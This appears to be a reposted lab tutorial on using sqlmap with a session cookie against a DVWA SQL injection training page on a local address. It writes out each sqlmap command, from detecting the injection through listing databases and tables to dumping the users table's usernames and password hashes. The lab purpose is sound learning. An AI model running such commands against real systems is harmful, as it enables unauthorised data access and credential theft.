当前位置:网站首页>Sqlmap advanced use – cookies
Sqlmap advanced use – cookies
2022-06-25 07:14:00 【Python's path to becoming a God】
Experimental principle
Cookie, Refers to the data stored on the user's local terminal by some websites in order to identify the user's identity .Cookie stay Web It is very important in application , The unique identification of the user session id There is also cookie Medium . utilize SQLMAP When detecting the target website , Default is without cookie Of , In some cases, outgoing requests may be rejected by the server . At this time , We need to bring cookie To carry out SQL Injection detection .
1. visit DVWA Website
1) visit dvwa, And login .admin password
2) After logging in , Click... On the left menu “DVWA Security”, take DVWA The security level of the website is set to “Low”, And click the Submt

3) Click... On the left menu “SQL Injection” modular , Get into SQL Inject training modules

2. utilize Burpsuite Tool grab bag
1) start-up Burpsuite And set the proxy service port

2) Set up Firefox agent
Be careful : The ports should be consistent
3) Turn on Burpsuite Proxy interception function

4) utilize Burpsuite Tool interception HTTP Request package
Get into DVWA Website SQL Inject training modules , Input 1, Click on Submit, here Burpsuite Will intercept HTTP Request package

Will be one of the cookie Copy the values , As the next step is SQLMAP Of --cookie parameter assignment
3. start-up SQLMAP
Get into sqlmap Catalog , Enter in the search box cmd, And return

4. Look for the injection point
python sqlmap.py -u "http://192.168.5.116/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=6j0t9i83en1rt8v8j9j2t3d6t4"

detection result

5. Get the database name
1) Get the library names of all databases
python sqlmap.py -u "http://192.168.5.116/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=6j0t9i83en1rt8v8j9j2t3d6t4" --dbs
2) Get the library name of the current database
python sqlmap.py -u "http://192.168.5.116/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=6j0t9i83en1rt8v8j9j2t3d6t4" --current-db
6. obtain dvwa All table names in the database
python sqlmap.py -u "http://192.168.5.116/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=6j0t9i83en1rt8v8j9j2t3d6t4" -D dvwa --tables
among , There is one named users Table of , This may store the basic information of website users .
7. obtain users All field names of the table
python sqlmap.py -u "http://192.168.5.116/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=6j0t9i83en1rt8v8j9j2t3d6t4" -D dvwa -T users --columns
8. obtain users In the table user and password All values of the field
python sqlmap.py -u "http://192.168.5.116/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=6j0t9i83en1rt8v8j9j2t3d6t4" -D dvwa -T users -C user,password --dump


边栏推荐
- [ACNOI2022]王校长的构造
- [Shangshui Shuo series] day 5
- 从感知机到Transformer,一文概述深度学习简史
- Three laws of go reflection
- 48 pictures | teach you the performance monitoring, pressure testing and tuning of microservices by hand
- レ / leilei
- lotus windowPoSt 手动触发时空证明计算
- joda. Time get date summary
- Blue Bridge Cup SCM module code (timer) (code + comments)
- 网络是怎样连接的?
猜你喜欢

Qcom--lk phase I2C interface configuration scheme -i2c6

Practice of hierarchical management based on kubesphere

Hongmeng learning notes: creating layouts using XML

Error reported during vivado simulation common 17-39

Expression of fatherly love

【一起上水硕系列】Day 5

深入解析 Apache BookKeeper 系列:第三篇——读取原理

活动报名|Apache Pulsar x KubeSphere 在线 Meetup 火热报名中

有了 MySQL 为什么要用 NoSQL?

Keil debug view variable prompt not in scope
随机推荐
了解zbrush雕刻软件,以及游戏建模的分析
alphassl通配符证书送一个月
[learn FPGA programming from scratch -43]: vision chapter - technology evolution of chip design in the post Moore era -2- evolution direction
Event registration | Apache pulsar x kubesphere online meetup is coming
Changing the background color of tab bar - changing the background color of tab bar
lotus windowPoSt 手动触发时空证明计算
高效探索|ES地理位置查询的一次应用实践
[tool sharing] a software that pays equal attention to appearance and skills
How to find happiness in programming and get lasting motivation?
Americo technology launches professional desktop video editing solution
Unity get resource path
Is it possible to use Jasmine's toHaveBeenCalledWith matcher with a regular expression?
Can we use function pointers in go- Can we have function pointers in Go?
Flexbox on ie11: stretching images for no reason- Flexbox on IE11: image stretched for no reason?
Ctfhub web information disclosure directory traversal
The most basic difference between clustering and classification.
Want to self-study SCM, do you have any books and boards worth recommending?
Esp8266 & sg90 steering gear & Lighting Technology & Arduino
The king scheme in distributed locks - redisson
活动报名|Apache Pulsar x KubeSphere 在线 Meetup 火热报名中
